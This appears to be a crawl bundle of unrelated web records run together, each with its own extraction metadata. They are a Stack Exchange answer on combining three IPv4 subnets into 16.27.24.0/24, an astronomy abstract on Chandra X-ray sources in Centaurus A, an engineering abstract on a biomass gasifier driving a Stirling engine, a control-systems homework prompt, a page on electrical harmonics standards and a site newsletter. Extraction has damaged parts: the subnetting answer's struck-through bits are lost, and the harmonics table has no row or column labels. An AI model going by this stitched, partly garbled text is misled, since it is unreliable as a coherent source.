5 星 2 1 0 0 0 | 2022-05-25 16:44:14 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8012661933898926, "perplexity": 7846.070761306556}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662588661.65/warc/CC-MAIN-20220525151311-20220525181311-00632.warc.gz"} |
https://cs.stackexchange.com/questions/75304/combine-the-following-ip-addresses-into-a-single-block | # Combine the following IP Addresses into a single block
I was asked to combine the ip addresses into a single block: 16.27.24.0/26, 16.27.24.64/26, 16.27.24.128/25
I managed to convert the given ip addresses into binary: 00010000.00011011.00011000.00000000 | 00011010 00010000.00011011.00011000.01000000 | 00011010 00010000.00011011.00011000.10000000 | 00011001
I am not quite sure what needs to be done in order to convert it properly. I believe that in this link it is explained what is supposed to be done. I should do it the way it is explained there. I am not able to access it, but whatever is shown in the preview, that is probably the way it would be gone about. Please help. Thanks
• Don't convert the netmask to binary as well, that just makes it complicated. – orlp May 13 '17 at 11:59
The address is just a 32-bit binary number. E.g. yours:
00010000.00011011.00011000.00000000
00010000.00011011.00011000.01000000
00010000.00011011.00011000.10000000
However, these addresses are very precise, and without any further information point to exactly one address. But we want to be more general, and be able to talk about a whole group of addresses. That is a block, and what the netmask is for.
When I use a netmask of /n, it means 'only look at the first n bits of this address, those are meaningful, the rest can be anything'. Think of it like this, the address we give is full, but then we strike out the most specific parts that can be anything:
United States, Middleberge, Otter Lane 5322
In your case, the first 26 or 25 bits matter, so we strike through the last 6 or 7 bits:
00010000.00011011.00011000.00000000
00010000.00011011.00011000.01000000
00010000.00011011.00011000.10000000
But we still need to combine the blocks. Note that the top two lines have the exact same start, but then one ends in a 0 followed by anything, and the other in a 1 followed by anything. But since that exhaustively covers everything, we can just extend the 'anything' part one up to combine them:
00010000.00011011.00011000.00000000
00010000.00011011.00011000.10000000
Here we can do the exact same:
00010000.00011011.00011000.00000000
We can now convert our IP address back to decimal, giving 16.27.24.0. The netmask is 32 - 8 = 24 (because we strike out 8 binary digits). So the full IP address + netmask is 16.27.24.0/24. | 2020-01-17 17:41:19 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.31178227066993713, "perplexity": 743.8612859701509}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-05/segments/1579250589861.0/warc/CC-MAIN-20200117152059-20200117180059-00557.warc.gz"} |
http://aas.org/archives/BAAS/v32n4/aas197/820.htm | AAS 197, January 2001
Session 111. Galaxy Morphology and Structure
Display, Thursday, January 11, 2001, 9:30-4:00pm, Exhibit Hall
## [111.11] {\em Chandra} Observations of the X-Ray Point Source Population in Centaurus A
J.M. Kregenow (Wittenberg University), R.P. Kraft, C. Jones, W.R. Forman, S.S. Murray (CFA), High Energy Division
We present the results from a study of the X-ray point source population in two {\em Chandra} observations of the nearby radio galaxy Centaurus A (NGC 5128). Using a wavelet decomposition detection algorithm, we detect 246 individual point sources above a limiting flux of 1.34\times10-15erg/cm2s, which corresponds to a luminosity of 1.96\times1036 erg/s. Of the 246 sources detected, 82 are detected in both data sets where the fields of view overlap. We positively identify 8 foreground stars in our observations, and estimate approximately 15% to 20% of the sources to be background AGN not associated with Centaurus A. The remaining ~200 sources, likely associated with the galaxy, are probably X-ray binaries and supernova remnants. We identify 11 with known globular clusters, and 41 as possible transient or variable sources. We find that the population of X-ray point sources in Centaurus A, a merged elliptical and spiral galaxy with an active nucleus, is not significantly different than that of M31 in both spatial distribution and luminosity range. We also detect in one observation a possible super-Eddington X-ray transient previously detected by ROSAT.
This project was supported by NASA contract NAS8-38248, and the observations were made as part of the HRC GTO program. The research was conducted, in part, through the Harvard-Smithsonian CfA Undergraduate Summer Intern Program as part of the NSF REU program. | 2014-08-27 09:49:53 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8340167999267578, "perplexity": 4584.0523153103795}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-35/segments/1408500828050.28/warc/CC-MAIN-20140820021348-00173-ip-10-180-136-8.ec2.internal.warc.gz"} |
http://energyresources.asmedigitalcollection.asme.org/article.aspx?articleid=1414655 | 0
RESEARCH PAPERS
# Combination of a Biomass Fired Updraft Gasifier and a Stirling Engine for Power Production
[+] Author and Article Information
Jeng-Chyan Muti Lin
Research Institute of Information and Electrical Energy, National Chinyi Institute of Technology, Taiwanmutilin@mail.ncit.edu.tw
J. Energy Resour. Technol 129(1), 66-70 (Jul 20, 2006) (5 pages) doi:10.1115/1.2424963 History: Received November 10, 2005; Revised July 20, 2006
## Abstract
Biomass is the largest renewable energy source used in the world and its importance grows larger in the future energy market. Since most biomass sources are low in energy density and are widespread in space, a small scale biomass conversion system is therefore more competitive than a large stand-alone conversion plant. The current study proposes a small scale solid biomass powering system to explore the viability of direct coupling of an updraft fixed bed gasifier with a Stirling engine. The modified updraft fixed bed gasifier employs an embedded combustor inside the gasifier to fully combust the syngas generated by the gasifier. The flue gas produced by the syngas combustion inside the combustion tube is piped directly to the heater head of the Stirling engine. The engine will then extract and convert the heat contained in the flue gas into electricity automatically. Output depends on heat input and the heat input is proportional to the flow rate and temperature of the flue gas. The preliminary study of the proposed direct coupling of an updraft gasifier with a $25kW$ Stirling engine demonstrates that full power output could be produced by the current system. It could be found from the current investigation that very little attention and no assisting fuel are required to operate the current system. The proposed system could be considered as a feasible solid biomass powering technology.
<>
## Figures
Figure 1
The schematic of the direct coupling of the updraft gasifier with a Stirling engine
Figure 2
Snapshot of the modified fixed bed gasifier fed by wood chips with combustion taking place in the embedded combustor
Figure 3
Represented flame temperature history at the exit of the embedded combustor
Figure 4
Snapshot of the direct coupling of an updraft gasifier with a Stirling engine
Figure 5
Snapshot of the heat exchangers on a STM Stirling engine
Figure 6
A PLC based LABVIEW monitoring system to automatically and concurrently acquired and store the system thermal and power data
Figure 7
Represented temperature histories at the entrance and at the exit of the Stirling engine
Figure 8
Power output history from the current study
## Errata
Some tools below are only available to our subscribers or users with an online account.
### Related Content
Customize your page view by dragging and repositioning the boxes below.
Related Journal Articles
Related Proceedings Articles
Related eBook Content
Topic Collections
• TELEPHONE: 1-800-843-2763 (Toll-free in the USA)
• EMAIL: asmedigitalcollection@asme.org | 2018-11-22 11:24:16 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 1, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.17984938621520996, "perplexity": 4574.775664769822}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-47/segments/1542039746205.96/warc/CC-MAIN-20181122101520-20181122123202-00002.warc.gz"} |
http://www.chegg.com/homework-help/questions-and-answers/given-second-order-prototype-characteristics-equation-s2-2-omegans-omegan2-0-desired-find--q1142458 | Image text transcribed for accessibility: Given the second order prototype characteristics equation: s2 + 2 omegans+omegan2 = 0 It is desired to find a set of admissible solutions (this is a region of space in the s - plane) that have the following properties 20 < P.O < 25 1.5 < Ts < 2.0 sec settling band is < 5% (use #TC = 3) Show the admissible solution as an area (polygon) in the s - plane. This admissible area could conceptually be correlated with the tolerance of components of a system. Hints: Plot region should be defined by axis([-4 0 0 6]) so everyone gets same plot. Use the relation: = cos theta to define the P.O boundaries The result should "look like" (but is not) the following graph, the angled blue lines correspond to one overshoot locus the black the other. The horizontal lines correspond to the 1.5 sec and 2.0 sec setting time locus for a given damping ratio, colors horizontal lines match angled line colors. You need to indicate the admissible region on the plot by coloring it in (by hand is acceptable). Think carefully as to which region meets the specifications given above. | 2015-01-31 23:23:12 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8618656396865845, "perplexity": 1282.2518939556962}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-06/segments/1422115861162.19/warc/CC-MAIN-20150124161101-00073-ip-10-180-212-252.ec2.internal.warc.gz"} |
http://www.electrical-installation.org/enwiki/Harmonics_standards | # Harmonics standards
## Contents
Harmonic emissions are subject to various standards and regulations:
• Compatibility standards for distribution networks
• Emissions standards applying to the equipment causing harmonics
• Recommendations issued by Utilities and applicable to installations
In view of rapidly attenuating the effects of harmonics, a triple system of standards and regulations is currently in force based on the documents listed below.
## Standards governing compatibility between distribution networks and products
These standards determine the necessary compatibility between distribution networks and products:
• The harmonics caused by a device must not disturb the distribution network beyond certain limits
• Each device must be capable of operating normally in the presence of disturbances up to specific levels
• Standard IEC 61000-2-2 is applicable for public low-voltage power supply systems
• Standard IEC 61000-2-4 is applicable for LV and MV industrial installations
## Standards governing the quality of distribution networks
• Standard EN 50160 stipulates the characteristics of electricity supplied by public distribution networks
• Standard IEEE 519 presents a joint approach between Utilities and customers to limit the impact of non-linear loads. What is more, Utilities encourage preventive action in view of reducing the deterioration of power quality, temperature rise and the reduction of power factor. They will be increasingly inclined to charge customers for major sources of harmonics
## Standards governing equipment
• Standard IEC 61000-3-2 for low-voltage equipment with rated current under 16 A
• Standard IEC 61000-3-12 for low-voltage equipment with rated current higher than 16 A and lower than 75 A
## Maximum permissible harmonic levels
International studies have collected data resulting in an estimation of typical harmonic contents often encountered in electrical distribution networks. Figure M23 presents the levels that, in the opinion of many Utilities, should not be exceeded.
LV MV HV 6 5 2 5 4 2 3.5 3 1.5 3 2.5 1.5 $\definecolor{bggrey}{RGB}{234,234,234}\pagecolor{bggrey}2.27\frac{17}{h}-0.27$ $\definecolor{bggrey}{RGB}{234,234,234}\pagecolor{bggrey}1.9\frac{17}{h}-0.2$ $\definecolor{bggrey}{RGB}{234,234,234}\pagecolor{bggrey}1.2\frac{17}{h}$ 5 4 2 1.5 1.2 1 0.4 0.3 0.3 0.3 0.2 0.2 0.2 0.2 0.2 2 1.8 1.4 1 1 0.8 0.5 0.5 0.4 0.5 0.5 0.4 $\definecolor{bggrey}{RGB}{234,234,234}\pagecolor{bggrey}0.25\frac{10}{h}+0.25$ $\definecolor{bggrey}{RGB}{234,234,234}\pagecolor{bggrey}0.25\frac{10}{h}+0.22$ $\definecolor{bggrey}{RGB}{234,234,234}\pagecolor{bggrey}0.19\frac{10}{h}+0.16$ 8 6.5 3
Fig. M23Maximum admissible harmonic voltages and distortion (%) | 2018-09-23 17:36:36 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 6, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.43147146701812744, "perplexity": 2499.8762952941274}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-39/segments/1537267159570.46/warc/CC-MAIN-20180923173457-20180923193857-00361.warc.gz"} |
http://stackexchange.com/newsletters/newsletter?site=cs.stackexchange.com | ## Top new questions this week:
### Is computation expression the same as monad?
I'm still learning functional programming (with f#) and I recently started reading about computation expressions. I still don't fully understand the concept and one thing that keeps me unsure when …
### How to simulate a die given a fair coin
Suppose that you're given a fair coin and you would like to simulate the probability distribution of repeatedly flipping a fair (six-sided) die. My initial idea is that we need to choose appropriate …
probability-theory randomness sampling | 2014-08-22 05:59:20 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6834697723388672, "perplexity": 645.1009248184744}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-35/segments/1408500823169.67/warc/CC-MAIN-20140820021343-00057-ip-10-180-136-8.ec2.internal.warc.gz"} |